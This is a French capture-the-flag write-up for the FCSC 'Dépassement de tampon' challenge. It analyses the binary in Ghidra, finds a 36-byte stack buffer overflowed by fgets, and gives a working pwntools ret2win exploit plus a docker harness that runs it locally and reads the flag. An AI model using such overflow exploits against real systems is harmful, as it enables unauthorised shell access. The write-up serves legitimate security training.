Solution de U03 pour Dépassement de tampon

intro pwn x86/x64

11 janvier 2025

Il nous est demandé d’obtenir un shell à partir du programme pwn, il nous faut deux choses :

Nous analysons le programme avec Ghidra à la recherche de ces éléments.

Nous trouvons une fonction shell() qui appelle /bin/bash via la fonction system() :

void shell(void) {
  puts("Enjoy your shell!");
  system("/bin/bash");
  return;
}

Nous analysons la fonction main() :

undefined8 main(void) {
  int iVar1;
  time_t tVar2;
  char local_38 [36];
  int local_14;
  uint local_10;
  uint local_c;

  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  local_c = rand();
  local_10 = rand();
  local_14 = local_10 + local_c;
  printf(">>> %d + %d = ",(ulong)local_c,(ulong)local_10);
  fflush(stdout);
  fgets(local_38,100,stdin);
  iVar1 = atoi(local_38);
  if (local_14 == iVar1) {
    puts("Yes!");
  }
  else {
    puts("No!");
  }
  return 0;

Nous voyons que des données sont lues depuis stdin par fgets(local_38,100,stdin), 100 octets lus alors que le buffer de lecture alloué ne fait que 36 octets char local_38 [36].

Nous pouvons donc essayer de remplir la pile et de placer au dessus l’adresse de la fonction void shell(void) qui du coup sera appelée lors du return 0 à la fin de la fonction main().

Pour ceci, nous devons trouver l’adresse de la fonction shell:, nous la trouvons dans le code assembleur avec Ghidra, il s’agit de 0x004011a2:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined shell()
             undefined         AL:1           <RETURN>
                             shell                                           XREF[3]:     Entry Point(*), 0040205c,
                                                                                          00402108(*)
        004011a2 55              PUSH       RBP
        004011a3 48 89 e5        MOV        RBP,RSP
        004011a6 48 8d 3d        LEA        RDI,[s_Enjoy_your_shell!_00402004]               = "Enjoy your shell!"
                 57 0e 00 00
        004011ad e8 7e fe        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
                 ff ff
        004011b2 48 8d 3d        LEA        RDI,[s_/bin/bash_00402016]                       = "/bin/bash"
                 5d 0e 00 00
        004011b9 e8 82 fe        CALL       <EXTERNAL>::system                               int system(char * __command)
                 ff ff
        004011be 90              NOP
        004011bf 5d              POP        RBP
        004011c0 c3              RET

Nous devons maintenant trouver combien d’octets envoyer pour l’appel fgets(local_38,100,stdin) provoque le débordement souhaité, nous voyons que la variable local_38 est située sur la pile à Stack[-0x38], il faut donc envoyer 0x38 octets (56 en décimal) puis l’adresse de la fonction shell(), c’est-à-dire 0x004011a2.

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined4        Stack[-0xc]:4  local_c                                 XREF[3]:     004011df(W),
             undefined4        Stack[-0x10]:4 local_10                                XREF[3]:     004011e7(W),
             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     004011f2(W),
             undefined1        Stack[-0x38]:1 local_38                                XREF[2]:     00401224(*),

Nous construisons notre buffer pour exploiter cette vulnérabilité.

ATTENTION: Bien que Ghidra affiche l’adresse de la fonction shell comme si elle faisait 32 bits, nous devons pousser 64 bits sur la pile, car le programme est de type ELF 64-bit.

EXPLOIT = b'0'*56 + p64(0x004011a2) + b'\n'

Le programme d’exploitation est le suivant :

#!/usr/bin/python3

from pwn import *
from time import sleep

EXPLOIT = b'0'*56 + p64(0x004011a2) + b'\n'

conn = remote('localhost',4000)
print(conn.recvuntil(b' = '))

conn.send(EXPLOIT)
sleep(1)
conn.send(b'/bin/cat flag\n')
print(conn.recv())
conn.close()

Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc pour attendre le temps nécessaire pour laisser au container le temps de démarrer :

#!/bin/bash

set -e

if [ ! -f docker-compose.yml ]; then
    wget https://hackropole.fr/challenges/fcsc2022-pwn-depassement-de-tampon/docker-compose.public.yml -O docker-compose.yml
fi

docker-compose up -d

while ! nc -z localhost 4000; do sleep 1; done

python3 015_Depassement_de_tampon.py

docker-compose down

Le résultat est le suivant :

Creating network "015_depassement_de_tampon_default" with the default driver
Creating 015_depassement_de_tampon_depassement-de-tampon_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'>>> 1318252576 + 1147507204 = '
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 015_depassement_de_tampon_depassement-de-tampon_1 ... done
Removing 015_depassement_de_tampon_depassement-de-tampon_1 ... done
Removing network 015_depassement_de_tampon_default